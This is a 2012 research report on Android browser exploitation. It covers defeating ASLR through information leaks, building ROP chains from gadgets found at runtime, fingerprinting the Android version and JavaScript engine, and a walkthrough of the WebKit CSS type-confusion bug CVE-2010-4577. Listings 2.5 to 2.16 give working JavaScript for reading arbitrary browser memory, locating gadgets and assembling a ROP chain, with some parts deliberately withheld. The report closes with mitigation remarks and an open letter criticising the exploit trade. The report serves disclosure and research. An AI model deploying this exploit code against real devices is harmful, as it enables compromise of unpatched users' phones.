Android exploitation primers: lifting the veil on mobile offensive security (Vol. I)

Insight on exploiting information leaks and dynamically building ROP chains

Larry H and Bastian F

August 2012
Android exploitation primers: lifting the veil on mobile offensive security (Vol. I)

INSIGHT ON EXPLOITING INFORMATION LEAKS AND DYNAMICALLY BUILDING ROP CHAINS

Larry H
Subreption LLC

Bastian F
Subreption LLC

Final Report
Redistribution by third-parties with commercial intent is forbidden. Reuse of these materials in commercial exploit frameworks is forbidden.

This document is part of a series on exploitation of vulnerabilities in Android mobile devices.

Prepared for (public release)
Under NA
Monitored by NA
Abstract: This report describes techniques to leverage information leaks against the Android operating system, build a ROP chain dynamically (therefore maximizing multi-vendor and device compatibility of targets) and how to abuse CVE-2010-4577, a vulnerability still affecting the vast majority of Android devices in the market. After the technical details, commentary about Android exploitation, potential mitigations, vendor updates and the exploit market follows.

Disclaimer: The contents of this report are not to be used for advertising, publication, or promotional purposes. Citation of trade names does not constitute an official endorsement or approval of the use of such commercial products. All product names and trademarks cited are the property of their respective owners. The findings of this report are not to be construed as an official Subreption LLC position unless so designated by other authorized documents. Distribution of this document and associated material by third-parties in commercial media (web sites with advertisements, security news sites operated for business purposes, etc) is forbidden. Distribution, refactoring and/or reuse of code and other materials in this document by commercial “exploit frameworks” is forbidden. Copyright (c) Subreption LLC 2012. All rights reserved.
# Table of Contents

1 Overview................................................................................................................................. 1
  1.1 On the usefulness of information leak vulnerabilities....................................................... 1

2 Technical Details....................................................................................................................... 2
  2.1 Motivation............................................................................................................................ 2
  2.2 Pre-4.1 information leak exploitation .................................................................................. 3
  2.3 Post-4.1 information leak exploitation ................................................................................ 7
  2.4 Building your ROP chain dynamically.................................................................................. 7
    2.4.1 Searching for the gadgets .............................................................................................. 7
    2.4.2 Building the ROP chain ............................................................................................... 9
    2.4.3 Identifying the Android version and JavaScript engine............................................... 9
  2.5 Case study: Leveraging CVE-2010-4577............................................................................ 11
    2.5.1 The bug ...................................................................................................................... 11
    2.5.2 Exploitation walk-through............................................................................................ 14
  2.6 Mitigation ............................................................................................................................. 17
  2.7 Future work ......................................................................................................................... 17

3 Closing words........................................................................................................................... 19
  3.1 Lessons learned.................................................................................................................. 19
  3.2 To mobile device and software vendors .......................................................................... 19
  3.3 An open letter for the exploit market.................................................................................. 20

References ................................................................................................................................. 26
Listings

2.1 The soinfo structure definition .......................................................... 3
2.2 The solist variable in the Android linker ........................................... 4
2.3 The libdl_info variable in the Android linker .................................... 4
2.4 libwebkit.so information through gdb starting from libdl_info struct .... 5
2.5 Function to get the .text range of all libs loaded .................................. 6
2.6 Searching for gadget locations using an information leak ....................... 7
2.7 Building the ROP chain ....................................................................... 9
2.8 Searching for gadget locations using an information leak ....................... 10
2.9 Detecting V8 and JSC engines ............................................................ 11
2.10 The CSSParserValue structure defined at WebCore/css/CSSParserValues.h .. 12
2.11 The CSSParserString structure defined at WebCore/css/CSSParserValues.h .. 12
2.12 The vulnerable section of the parseFontFaceSrc API defined at WebCore/css/CSSParser.cpp ... 13
2.13 Expanding a floating point precision number into non-exponential form with leading zeros ................................................................. 14
2.14 Crafting the number to trigger CVE-2010-4577 ..................................... 15
2.15 A simple memory read function using CVE-2010-4577 ............................ 16
2.16 Removing the local() string "envelope" from leaked data .......................... 16
1 Overview

1.1 On the usefulness of information leak vulnerabilities

Currently the requirements for successful exploitation of memory corruption vulnerabilities in modern operating systems have progressively gained complexity because of widespread adoption of technologies such as ASLR (Address Space Layout Randomization), originally conceived by the PaX Team for their Linux kernel patch (while the concept possibly has origins in earlier works of the early 1990s [1] [2]) and enforced memory protection semantics (NX, Microsoft’s DEP, OpenBSD’s W xorX, most of them essentially being marketing ploys on plagiarizing PaX itself, in varying degrees of technical failure).

The most common methods to overcome ASLR are (in order of popularity and ease of deployment):

1. Leveraging so-called “static” modules or dynamic shared objects (such as DLLs) that lack base address randomization support. This mostly applies to pre-4.1 Android devices, Microsoft Windows and security-crippled Linux distributions, such as those developed by Red Hat.

2. Leveraging information leaks (subject matter of this report, though specific to Android) to discover the location of objects in memory that allow the adversary to infer offsets and dynamically adjust his payload to run successfully.

3. Influencing the dynamic memory allocators to create holes or predictable layouts that render ASLR ineffective across both 32-bit and 64-bit architectures. This is perhaps the only approach with technical merit, since it involves a fair amount of effort into researching allocator internals and platform quirks. However, the available process virtual address space directly influences its speed and reliability (both being vulnerability-dependent, since different allocators might be involved for different objects, as is the case with Android and its web browser).
2 Technical Details

2.1 Motivation

During development of an exploit for an Android Browser vulnerability \(^1\) we realized an information leak was necessary to achieve both complete reliability and coverage of 2.x devices without resorting to hard-coded addresses. The same logic applies to 4.x. Albeit it is not a requirement, it is probably the best approach to meet said criteria.

The dependence on “ROP chains” (which are not a requirement either, but are the most popular choice for payloads today, save few exceptions) limits the exploit to specific variables: offsets, addresses and executable code in the text or dynamic shared object regions, normally referred to as “gadgets” (hence ROP being technically a re-branding of ret2text or ret2libc). This reduces coverage of the market share of devices and increases the likelihood of detection once a non-standard device crashes (thus diminishing stealthiness).

The main difference between Android and other mobile operating systems is that Android is available as an open source project, and vendors (including carriers) can distribute their own modified binary packages and firmwares to customers. Third-party software can be used to change or “reflash” the Android version originally installed in a given device. Differences in tool-chains introduce further differences in the final OS image. All these factors translate to a highly diversified landscape of targets for the exploit developer. Even the emulator itself can be (and often is) wildly inaccurate for exploit development and real hardware must be used throughout the entire process.

In the next sections an information leak vulnerability (affecting 2.x devices, unpatched and suspected of being used in the wild) will be reviewed, along with techniques and tips for successfully leveraging information leaks in Android user-land exploits to increase the likelihood of successfully abusing other vulnerabilities. These efforts translated to a final exploit capable of successfully targeting every device in the market, tested against every Android version up to 2.3.7 on ARM.

\(^1\)A so-called use-after-free, which involved using a novel technique to manipulate the layout of the target object reliably, to be published in a future report as part of these Android exploitation primers.
### 2.2 Pre-4.1 information leak exploitation

In this section we will detail how to abuse any information leak vulnerability to aid in dynamically generating a reliable ROP chain (using JavaScript-native code, thus providing a fully contained environment without any server-side processing involved) for devices running Android versions older than 4.1.

In versions prior to 4.1, the linker base address is not randomized, and while the most straightforward strategy would be to use the linker executable code for gadgets, we will instead leverage an information leak to dynamically select our targets among loaded dynamic shared objects (DSOs). This is an order of magnitude more preferable for stealth and reliable exploitation.

The most desirable information leak is the one providing a read-anywhere-anysize primitive (meaning unbounded access to mapped memory results from leveraging the bug properly, with the only side-effect being a crash if unmapped or unreadable memory is accessed, such as guard pages).

In `bionic/linker/Android.mk` we can observe that the base address of the linker ELF executable is hard-coded to `0xb0001000` at compilation time.

The Android linker stores information about DSOs using `soinfo` structures as displayed in Listing 2.1. Heuristics can be derived from this structure to reliably detect it on memory.

**Listing 2.1. The soinfo structure definition**

```c
struct soinfo{
  ① const char name[SOINFO_NAME_LEN];
  Elf32_Phdr *phdr;
  ② int phnum;
  unsigned entry;
  unsigned base;
  unsigned size;
  ... 
  ③ unsigned *dynamic;
  unsigned wrprotect_start;
  ④ unsigned wrprotect_end;
  soinfo *next;
  ⑤ const char *strtab;
  Elf32_Sym *symtab;
  ... 
}
```
The linked list of DSOs is defined as `solist` in `linker.c`, used by the APIs responsible of loading and unloading DSOs, as well as import/export name resolutions and relocations.

**Listing 2.2. The `solist` variable in the Android linker**

```c
/* linker.h: */
extern soinfo libdl_info;

/* linker.c */
static soinfo *solist = &libdl_info;
```

From the linker source code we observe that the `libdl_info` structure is initialized in `dlfcn.c` with `libdl` exported functions needed to load and initialize shared objects (`dlopen`, `dlclose`, `dlsym`, `dlerror` and `dladdr`).

**Listing 2.3. The `libdl_info` variable in the Android linker**

```c
soinfo libdl_info = {
    name: ``libdl.so'',
    flags: FLAG_LINKED,
    strtab: ANDROID_LIBDL_STRTAB,
    symtab: libdl_symtab,
    nbucket: 1,
    nchain: 7,
    bucket: libdl_buckets,
    chain: libdl_chains,
};
```

This structure is easily detected in memory due to the “`libdl.so`” string in the `name` field. Using an information leak, and any fingerprint or heuristics to detect its presence yields the location of the structure in the process and the related `soinfo` structures with every loaded DSO, revealing their base addresses and other valuable information to aid exploitation.

1. Search for the string `libdl.so` and apply heuristics to verify it’s part of `libdl_info`.
2. Walk the `solist` single linked list starting at `libdl_info` retrieving:
   - `name` The name of the shared object (see 1 in Listing 2.1).
   - `base` Base of the ELF object in memory (see 2 in Listing 2.1).
   - `wrprotect_end` End of the write protected memory (the linker uses it to mark the end of text section) (see 3 and 4 in Listing 2.1).
   - `next` Pointer to the next `soinfo` (see 5 in Listing 2.1).
The executable section start at base and it’s size is calculated with $\text{wrprotect_end} - \text{base}$.

Example:

**Listing 2.4. libwebkit.so information through gdb starting from \texttt{libdl_info} struct**

```c
(gdb) p/x *((struct soinfo *)0xb00094dc)->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next->next-

\$1 = {
    name = `libwebcore.so', '\000' <repeats 114 times>,
    phdr = 0x81000034,
    phnum = 0x6,
    entry = 0x0,
    base = 0x81000000,
    size = 0x957000,
    ba_index = 0x10,
    dynamic = 0x81948680,
    \text{wrprotect}\_start = 0x81000000,
    \text{wrprotect}\_end = 0x818ef000,
    next = 0xb000cf68,
    flags = 0x1,
    strtab = 0x81003cc4,
    symtab = 0x81001374,
    nbucket = 0x209,
    nchain = 0x295,
    bucket = 0x810000fc,
    chain = 0x81000920,
    plt\_got = 0x819512c8,
    plt\_rel = 0x81007a1c,
    plt\_rel\_count = 0x9c,
    rel = 0x81007efc,
    rel\_count = 0x1599d,
    ...\n    ARM\_exidx = 0x894db8,
    ARM\_exidx\_count = 0xb344,
    refcount = 0x1,
    linkmap = {
        l\_addr = 0x81000000,
        l\_name = 0xb0000c50,
        l\_ld = 0x81948680,
        l\_next = 0xb000d184,
        l\_prev = 0xb000d06c,
    }
}
```

3. Order the list of shared objects by amount of code and binary complexity (previously studied) to establish a gadget searching order. In our case we prioritize \texttt{libwebcore} and \texttt{libc} as we've always had good results finding the full chain in those libraries among different devices tested.
We implemented a function to perform these operations in an automated fashion. Listing 2.5 contains the JavaScript source code of the function. It can be readily deployed into any exploit provided that the MemSearch and MemReader classes exist and implement the methods documented later in this document.

Listing 2.5. Function to get the .text range of all libs loaded

```javascript
function getLibsRange()
{
    var sp = [bytefyStr("libdl.so")];
    var ms = new MemSearch(0xb0009000, 0xb000a000, sp, 1);
    var res = ms.search();
    var arr = new Array();
    var done = false;
    var st = res;

    // Iterate the soinfo list getting fields:
    // soinfo.name = 0:char[128]
    // soinfo.base = 140:unsigned
    // soinfo.wprotect_end = 160:unsigned
    // soinfo.next = 164:soinfo *

    var mr = new MemReader(0xb0009000, 0xb0010000, true);
    while(!done){
        mr.updateCursor(st);
        var name = mr.eatString();
        mr.updateCursor(st+140);
        var base = mr.eatUint();
        mr.updateCursor(st+160);
        var end = mr.eatUint();
        mr.updateCursor(st+164);
        var next = mr.eatUint();
        arr.push([name, base, end]);
        if(next == 0){
            done = true;
        } else {
            st = next;
        }
    }

    return arr;
}
```

The libdl.so string can be used 1 to determine the exact location of the libdl_info structure. Afterwards, search can begin from the appropriate start address 2 and an array can be populated as the soinfo structures are parsed and their fields extracted into different variables 3.

With the list of DSOs, we can then proceed with processing every DSO to find the gadgets we need. Using String.find() is fast enough for this purpose.
2.3 Post-4.1 information leak exploitation

We are withholding details about abusing information leaks post-4.1 until we complete testing and gauge public interest about these vulnerabilities for the newest Android versions.

2.4 Building your ROP chain dynamically

The process of building the backbone of the ROP chain can be summarized as follows:

1. Iterate through the array of DSOs and fields obtained from the information leak exploitation API.
2. Establish an array for each set of necessary gadgets.
3. Search the DSO memory and push every location to an array containing the results.

2.4.1 Searching for the gadgets

Listing 2.6 displays the function used in our exploit to find the locations of gadgets to build a ROP chain from the loaded DSOs, giving priority to two specific libraries (libc.so and libwebcore.so).

```
function getGadgets_generic()
{
    var libsrange = getLibsRange();
    libsrange.putFirst("libc.so");
    libsrange.putFirst("libwebcore.so");

    var gadgets = [
        [...],
        [...],
        [ 0x1f, 0xbd ],
        [...]
    ];

    var position = {};
    for(var i = 0; i < gadgets.length, i++)
    {
        position[ gadgets[i] ] = i;
    }

    var ret = new Array( gadgets.length );
```
The array of libraries (DSOs) 1 to search is reordered placing libwebcore.so and libc.so at the beginning of the list to conditionally optimize for those two libraries, finishing the gadget search as soon as possible. This way, we avoid traversing the text sections of the other libraries unless it is absolutely necessary.

Gadgets to be searched are defined in form of an array of byte arrays 2 containing (little endian) patterns that MemSearch will use to find them, resolving their addresses on memory.

The list of libraries is then traversed 3, with occurrences being removed from the list of gadgets to search 4, as their addresses are stored in an array to be returned following completion of the memory (linear) search, in consistent positions with order of the original gadget array 5.

The search ends after exhausting the list of DSOs 6 and any outstanding gadgets to be found result in a fatal error.

This function returns an array of addresses to be allocated in memory (after transforming them to binary data).
2.4.2 Building the ROP chain

Listing 2.7 displays the relevant section of code that builds the ROP chain from the gadget list returned from the functions described in the previous section. A relevant part of the code has been edited out for brevity (for those familiar with NX bypass techniques it shouldn’t be a mystery). Depending on exploitation constraints, your ROP chain might need to be unaligned. The code pertaining to vtable rewriting and the allocGetAddr function has been intentionally removed, since the latter involves a novel technique to abuse use-after-free vulnerabilities in Android that we are not currently disclosing (though it will be considered for future publication).

Listing 2.7. Building the ROP chain

```javascript
libsrange = getLibsRange();
var gadgets = getGadgets_s2();
var rop =
    mulStr(num2str(...), 2) +
    num2str(gadgets[2]+1) +
    num2str(gadgets[3]+1) +
    mulStr(num2str(...), 3) +
    num2str(shelladdr&0xfffff000) +
    mulStr(num2str(...), 4) +
    num2str(gadgets[4]+1) +
...
    num2str(gadgets[5]) +
    mulStr(num2str(...), 5) +
    num2str(shelladdr)
    ;
var ropaddr = allocGetAddr(rop);
```

2.4.3 Identifying the Android version and JavaScript engine

Identifying the target Android version can be usually done with two distinct approaches:

1. Extracting the version information from HTTP headers and other variables exposed to JavaScript or server itself (in case of client-side vulnerabilities via HTTP transport, such as those affecting the Android Browser). This method relies on information being authentic, thus being limited to non-modified targets. Users spoofing version strings would effectively render detection useless.

2. Behavior and “quirk” based detection. This approach involves careful analysis of subtle differences across different targets, such as timing deltas, supported features (for example, if a given facility is supported in a newer
version, or behaves differently than it used to in previous versions), etc. This approach to target identification is extremely reliable, rendering the user powerless to conceal or confuse your detection routines.

In this report, only the former approach will be described. The latter might be subject of a future report, if time permits. Needless to say, it applies to any piece of software and is absolutely not limited to Android by any means. One particular realm where behavior, timing and functionality differences can be used to reliably fingerprint targets is web and database server exploitation (and their modules and applications).

Listing 2.8 displays a trivial User-Agent based detection routine to choose between two distinct exploitation strategies (one against 2.2, the other against 2.3).

```javascript
function detectAndroid()
{
  var ua = navigator.userAgent;
  var re = /Android ((\d\.?)+)/;
  var ver = ua.match(re);
  if (ver) {
    if (ver.length < 2) {
      ver = null;
    } else {
      ver = ver[1].split(".").map(function(a){return +a;});
    }
  }
  return ver;
}

function detectAndExploit()
{
  var ver = detectAndroid();
  if (ver == null) {
    throw "No Android";
  } else {
    if (ver[0] != 2) {
      throw "Android version not supported";
    } else if (ver[1] == 2) {
      runExploit22();
    } else if (ver[1] == 3) {
      runExploit23();
    } else {
      throw "Android 2.x version not supported";
    }
  }
```
Next to identifying the version of the Android operating system, in the case of browser client-side vulnerabilities, it is crucial to determine which JavaScript engine is being used. Currently Android devices can use either JSC or V8. Their internals differ enough to make generic cross-engine exploitation impractical. In this case, detection of the engine relies on the previously mentioned approach of identifying behavioral differences. Luckily, a quick search around reveals someone else had this problem before. Listing 2.9 contains a simple JS snippet to detect whether the current user is using a browser with the V8 or JSC engines.

### Listing 2.9. Detecting V8 and JSC engines

```javascript
var v8string = 'function%20javaEnabled%28%29%20%7B%20%5Bnative%20code%5D%20%7D';

if (window.devicePixelRatio) {
    if (escape(navigator.javaEnabled.toString()) === v8string) {
        /* V8 detected */
    } else {
        /* JSC detected */
    }
}
```

In our tests it succeeded to detect the Android emulator running both engines and devices using V8 instead of JSC, including the vast majority of HTC devices running 2.3.

### 2.5 Case study: Leveraging CVE-2010-4577

A type confusion vulnerability in WebKit’s CSS parsing routines was disclosed by Chris Rohlf in 2010. This kind of vulnerabilities require either sheer luck or thorough auditing and understanding of the code base, since they are never immediately obvious. Type confusion “bugs” can be found accidentally during fuzzing as well, and this particular bug would’ve been easily found with a moderately complete CSS/DOM fuzzing tool.

#### 2.5.1 The bug
The vulnerability found by Rohlf occurred when a CSS value originally parsed as a floating point number was referenced in a different code-path (font face source handling) as a CSS string. To understand the internals of the parser and the origin of this vulnerability we must look at the CSSParserValue structure first, displayed in Listing 2.10.

Listing 2.10. The CSSParserValue structure defined at WebCore/css/CSSParserValues.h

```c
struct CSSParserValue {
    int id;
    bool isInt;
    union {
        double fValue;
        int iValue;
        CSSParserString string;
        CSSParserFunction* function;
    };
    enum {
        Operator = 0x100000,
        Function = 0x100001,
        Q_EMS = 0x100002
    };
    int unit;
    PassRefPtr<CSSValue> createCSSValue();
};
```

The 1 union serves as anchor to the different types that can be contained within a CSSParserValue instance. If it’s initially parsed as a floating point number, the value will be stored as a double, and if it is a string, a special structure will be used to store management information about the real data underneath 2. The unit field determines which data type is used from the union when the CSSParserValue structure is referenced throughout the CSS parser interfaces.

It is quite obvious that any failure to keep consistent synchronization of the unit field and the actual data to be referenced will result in potentially exploitable conditions. The CSSParserString structure in this case served that purpose perfectly. The structure definition is included verbatim in Listing 2.11.

Listing 2.11. The CSSParserString structure defined at WebCore/css/CSSParserValues.h

```c
struct CSSParserString {
    UChar* characters;
    int length;
    void lower();
};
```
The most important fields in the structure are the pointer to the character string data and its length. At this point, Rohlf aptly noted a side-effect of data type sizes in 32-bit platforms: the double type is 64-bit, while pointers and integers are 32-bit. Therefore, on 32-bit platforms, a double referenced ("casted") as a CSSParserString instance would have its raw data on memory interpreted as a pointer and an integer. Because the value is directly controlled by the user, a trivially exploitable condition will exist in any code-path that fails to properly check the CSSParserValue contents before interpreting them in an user-controlled context (such as returning string contents back to the user).

Rohlf found the parseFontFaceSrc API to be vulnerable to "type confusion" of the CSSParserValue structure data. Listing 2.12 contains the relevant code from the parseFontFaceSrc API of the CSS parser.

Listing 2.12. The vulnerable section of the parseFontFaceSrc API defined at WebCore/css/CSSParser.cpp

```plaintext
bool CSSParser::parseFontFaceSrc()
{
    RefPtr<CSSValueList> values(CSSValueList::createCommaSeparated());
    CSSParserValue* val;
    bool expectComma = false;
    bool allowFormat = false;
    bool failed = false;
    RefPtr<CSSFontFaceSrcValue> uriValue;
    while ((val = m_valueList->current())) {
        // There are two allowed functions: local() and format().
        CSSParserValueList* args = val->function->args.get();
        if (args && args->size() == 1) {
            if (equalIgnoringCase(val->function->name, "local") && !expectComma) {
                expectComma = true;
                allowFormat = false;
                CSSParserValue* a = args->current();
                uriValue.clear();
                parsedValue = CSSFontFaceSrcValue::createLocal(a->string);
            } else if (allowFormat && uriValue && isValidFormatFunction(val)) {
                ...}
```
Because there is no check for the value of the unit field, the CSS value structure will be interpreted as if it contained a string. This results in an easily exploitable condition.

### 2.5.2 Exploitation walk-through

To abuse this vulnerability the following approach works reliably:

1. Craft a double precision number in non-exponential form containing the packaged pointer and length (in reverse order, with the length first).

2. The number must be padded with zeros to the left, in order to retain the real number that will be translated into a representation supported by WebKit’s CSS parser.

3. Use JavaScript (or any other method to access DOM functions) to assign style.src to a local(float) value for a given element.

4. Post assignment, proceed to read the value of style.src and strip the local() enclosing string. The leaked memory will be stored as a raw buffer, though JavaScript interprets it as a UTF-8 string.

When creating the “float”, the 64-bit double precision number will be expanded into its non-exponential form. CSS does not support the exponent representation of the number, therefore we need to supply the right amount of leading zeros to amount up to the exponent. This way we can have valid “floats” for almost any address-length combination we could possibly need. Listing 2.13 contains the necessary code to perform this conversion, found in an answer to a question published on the Stack Overflow site. A previous version of our own approach did not perform as expected on V8.

**Listing 2.13. Expanding a floating point precision number into non-exponential form with leading zeros**

```javascript
Number.prototype.toFullFixed = function ()
{
    var s = Math.abs(this).toExponential();
    var a = s.split('e');
    var f = a[0].replace('.', '');
    var d = f.length;
    var e = parseInt(a[1], 10);
};
```
```javascript
var n = Math.abs(e);
if (e >= 0) {
    n = n - d + 1;
}

var z = '';
for (var i = 0; i < n; ++i) {
    z += '0';
}

if (e <= 0) {
    f = z + f;
    f = f.substring(0, 1) + '.' + f.substring(1);
} else {
    f = f + z;
    if (n < 0) {
        f = f.substring(0, e + 1) + '.' + f.substring(e + 1);
    }
}

if (this < 0) {
    f = '-' + f;
}
return f;
```

Listing 2.14 contains the function used to pack and build the necessary string representation of the number to be interpreted as a CSSParserString structure.

### Listing 2.14. Crafting the number to trigger CVE-2010-4577

```javascript
function make_double(addr, len) {
    var result = '';
    var packed = false;
    var unpacked = false;
    var winning = false;

    packed = Struct.Pack('>II', [len, addr]);
    unpacked = Struct.Unpack('>d', packed);
    result = new Number(unpacked).toFullFixed();

    return result;
}
```

The jspack library developed by Fair Oaks Labs Inc. has been used to perform Python-like structure packing and unpacking. It isn’t trivial to operate with binary data properly from JavaScript, and the conversion to a “double” can’t
be done in a single operation, therefore the length and pointer values are first packed in reverse order ① and then unpacked into a variable as a number ②, which is then translated to non-exponential form ③.

The actual memory reading can then be performed in a similar fashion to the code in Listing 2.15.

**Listing 2.15. A simple memory read function using CVE-2010-4577**

```javascript
function do_memory_walk(startAddr, readSize, blockLen) {
    var i = 0;
    var curAddr = startAddr;
    var totalRead = 0;
    var trigger = document.createElement('h1');
    var buf = '';

    while (totalRead < readSize) {
        var triggerval = false;
        var craftedSrc = false;
        var curMemBlock = false;

        triggerval = make_double(curAddr, blockLen);
        craftedSrc = sprintf("local(%s)", triggerval);
        trigger.style.src = craftedSrc;

        curMemBlock = strip_envelope(trigger.style.src);

        buf += curMemBlock;
        curAddr += blockLen;
        totalRead += blockLen;
    }

    var result = [];
    for (var i = 0, length = buf.length; i < length; i += 1) {
        result[i] = buf.charCodeAt(i);
    }

    var shorts = Struct.Pack('<' + result.length + 'H', result);

    return [buf, result, shorts];
}
```

The start address, read size (as in total amount of bytes transferred) and the “block length” (in this case the size read by each crafted value) are passed as arguments. The `strip_envelope` function in Listing 2.16 is used to remove the string prefix and suffix enclosing the actual data returned from the information leak ②. Assignment of `trigger.style.src` prepares the CSSParser-Value structure ①, while accessing (reading) triggers the leak, retrieving the contents of the chosen memory region.
Listing 2.16. Removing the local() string "envelope" from leaked data

```javascript
function strip_envelope(str) {
    var prefix = 'local(';
    var suffix = ')';
    var stripped = false;

    if (str.length < (prefix.length + suffix.length))
        return '';

    stripped = str.substring(prefix.length, str.length - suffix.length);
    return stripped;
}
```

This information leak affects the entire span of 2.2 and 2.3 Android releases and has been fixed at some point in the 3.x versions.

2.6 Mitigation

With the introduction of complete ASLR in Android 4.1, information leaks will depend on relative offsets to infer addresses to and from the heap, since the linker is no longer mapped at a fixed location. Subreption has developed proprietary technology to deter exploitation of information leaks in allocators such as jemalloc, with negligible performance impact, as part of the DY-MASEC project, but these modifications haven’t (yet) been ported to the Android operating system. We expect results within Q1 2013 to provide a full-spectrum hardened Android OS, addressing the limitations of projects such as SEAndroid (which only contemplates implementation of mandatory access controls via SELinux).

2.7 Future work

The fact that information leak vulnerabilities are already an important part of the exploit development practice is out of discussion. Furthermore, achieving high reliability and cross-platform functionality will only become more dependent on these vulnerabilities.

It is reasonable to expect mobile offensive security research to progressively shift toward studying how allocator logic can be subverted to produce vulnerable conditions, as well as application-specific attacks, where subverting the program execution flow is no longer the end goal, instead attempting to gain privileged access to internal functionality and confidential information such as password storage. Without naming any specific web browser, this could in-
volve targeting structures to execute plug-in functionality outside of the “local domain”, providing a hostile site with the ability to access the file system and operate network sockets arbitrarily.

It is also expected that the new 64-bit ARM architecture will present even more difficult challenges for exploit developers.
3 Closing words

3.1 Lessons learned

- ARM and Thumb alignment make ROP gadgets very dependent on instructions generated by the compiler but compatibility is still possible.

- Iterating memory with an information leak can be extremely fast. Generally this is true to most type confusion bugs resulting in information leaks. If using JavaScript, the exploit developer must carefully profile different approaches to load memory data and convert it (back and forth) to the language native formats without losing information in the process.

- Developing an Android exploit capable of targeting a near-absolute market share (80 to 100%) is not rocket science.

- When it comes to ROP gadgets, size matters. Shorter is better.

- The V8 JavaScript engine is mostly used in newer devices (with more physical memory available) and fingerprinting of JSC/V8 can be leveraged easily to fine-tune exploitation of both information leaks and use-after-free vulnerabilities (with the latter requiring detection to adequately apply heap exploitation techniques for each engine) [3].

- The vast majority of Android mobile devices are unprotected to old vulnerabilities, silently fixed bugs (which are being actively mined out of development repositories of projects like WebKit and most likely wind up used in exploits being sold to private parties, besides genuine “zeroday” vulnerabilities) and vendors take no efforts to solve this situation. This is not groundbreaking “research” and it’s certainly not rocket science. Those involved in the trade of mobile device exploits rely on depriving the public of information because, quite simply, they aren’t doing anything a good software developer can’t do with minimal understanding of OS design and development. There is no magic involved. Pure and simple. The exclusivity or merit in developing mobile exploits is a myth created by marketing departments and misinformed journalists. Very few exploits in the history of information security (or hacking for that matter) actually presented a true challenge.
3.2 To mobile device and software vendors

- Deploying updates to your users might be costly, but damages arising from exploitation of already known and/or patched vulnerabilities is even costlier. Saving at the expense of your users is at the very least negligent, if not criminal. Granted, plenty of software vendors take this practice to heart, but that doesn’t make it any more acceptable. Profit over integrity and safety is a recipe for failure.

- Android 4.1 brings significant security advantages over all previous versions, and future research is geared towards developing even better defensive technologies for Android. The framework for these security mitigations has already existed in other operating systems for over a decade now. There is no excuse to avoid phasing old devices out of existence, especially for enterprise and governmental users. Either provide methods for users to upgrade or create incentive programs for increasing the market share of the most current and future Android versions.

3.3 An open letter for the exploit market

Throughout the present calendar year, we raised our concerns about the situation of the now thriving market of offensive capabilities, which operates in a completely unregulated and reckless fashion. Not surprisingly, this caused a great deal of negative feedback coming our way, despite the fact that we participated for almost five years, before it was as widely known as it is now. The act of expressing such concerns already endangers the machinery of a market driven only by a nearly insatiable greed for money, at the expense of tax payers, the end buyers and the general public itself.

For those unable to comprehend prose not written in bullet points, or those suffering of the Twitter fruit fly attention span syndrome, these are the most immediate concerns that were raised in private to a wide array of third-parties directly involved in the market, whether as vendors, “middlemen” or first tier “buyers”:

1. Currently the trade of offensive capabilities is under absolute control of the private sector, enabling private companies (whose interest is primarily profit) to manipulate the market and abuse both vendors and talented individuals. There are no guarantees that these companies are not refurbishing the capabilities to the end buyer branding them as their own, inflating the final or real price to score huge profit margins.
2. Scaremongering and coercion are readily used to prevent vendors from raising any kind of concerns privately or publicly, threatening them with isolation and career disruption resulting from extensive badmouthing and other libelous strategies to tarnish their reputation.

3. While there is a certain need for offensive capabilities, until recently there was absolutely no coordination (or synchronization, for that matter) of all parties involved in their development, acquisition and deployment. This means tax payers are essentially paying at least twice for something they already paid for. While wealth resulting from hard work and relentless creativity and innovation is to be praised, making “easy money” at the expense of your fellow men is morally in par with drug trafficking, racketeering or thievery, as yet another form of perpetuation of human misery, more so in times like today, with a world wide economical meltdown trampling the dreams and hopes of millions of people. While some people will disagree (because they are interested on sustained inflation of market prices), it is a known fact that exploit techniques can be reused across different but closely similar vulnerabilities, therefore only the initial investment presents a real challenge, while subsequent vulnerabilities become less and less difficult to abuse. Companies with dedicated teams reduce complexity by an order of magnitude, by hiring talent skilled in strategic “compartments” (for example, one individual specialized in mobile exploitation and another individual working on privilege escalation and OS kernel vulnerabilities).

4. The offensive capabilities market is thriving at the expense of defensive security. While defensive security has been unfortunately linked to snake oil products such as antivirus and IDS software, recent years have witnessed a surge of brilliant research to design and develop safer computing architectures. The lack of hindsight of most players in the market extends to a magnitude where they aren’t protected (or protecting) themselves against their own “ammunition”. The lack of synchronization among buyers creates the very same problem, if only slightly more twisted as an ironical form of “friendly fire”.

5. The unregulated nature of these sales opens up a very real threat of backfire upon those trading with them. It is not known if such capabilities have been intercepted or reverse engineered and used against the general public or the end buyers themselves, but it is a well known fact that in our industry, penetration by unknown parties has regularly occurred for the past few years. Liability or responsibility from these sales is nearly non-existent. I do not condone nor condemn any nation in the game, since everyone has the right to retaliate if wronged or against perceived threats.
It is mere self-preservation instinct, and as such, it is part of human nature. In other words, "I and the public know, what all schoolchildren learn, those to whom evil is done, do evil in return." (Auden, 1991).

6. The vetting process of vendors has been proven completely arbitrary. It is a fact that the vast majority of individuals semi-publicly or behind the scenes follow a no-questions-asked policy, being concerned only about the payout, but it is also well known that conversations in venues like Twitter have been increasingly reckless and explicit. In some cases these conversations reveal details about the private lives of known participants in the market that might collide with the code of conduct and requirements of the organizations that are essentially paying their bills, where employees are subject to severe disciplinary action for violations of policy. As a libertarian I’m against being judgmental about how others choose to exercise their individual freedom (so as long as it does not tread on my own, in which case, fair play no longer applies), but there is certain hilarity in witnessing how some organizations are unknowingly funding lives of debauchery and self-loathing bordering on the ridiculous. Would those organizations approve of tax payer money being used by somebody involved in the exploit trade to bribe his way out of a narcotics related offense in an East Asia country? Would warmongering bigots approve of the defense budget spilling in and out of seedy hooker bars? Do law abiding citizens get a chance to be part of the lavish lifestyles they are essentially funding by religiously paying their taxes? Are these double standards circumstantial or are they signs of endemic corruption and intentional overlooking?

Furthermore, some vendors display appalling levels of illiteracy on non-technical matters such as geopolitics, often putting the whole of the Arab world and the Middle East in the darkest light possible, only because they believe it might garner them the sympathy of potential buyers. This opportunistic discourse hints at the moral fiber underneath, and makes you wonder if we aren’t our own worst enemies. No need to look to the far East for the enemy. We’ve met him and he is us.

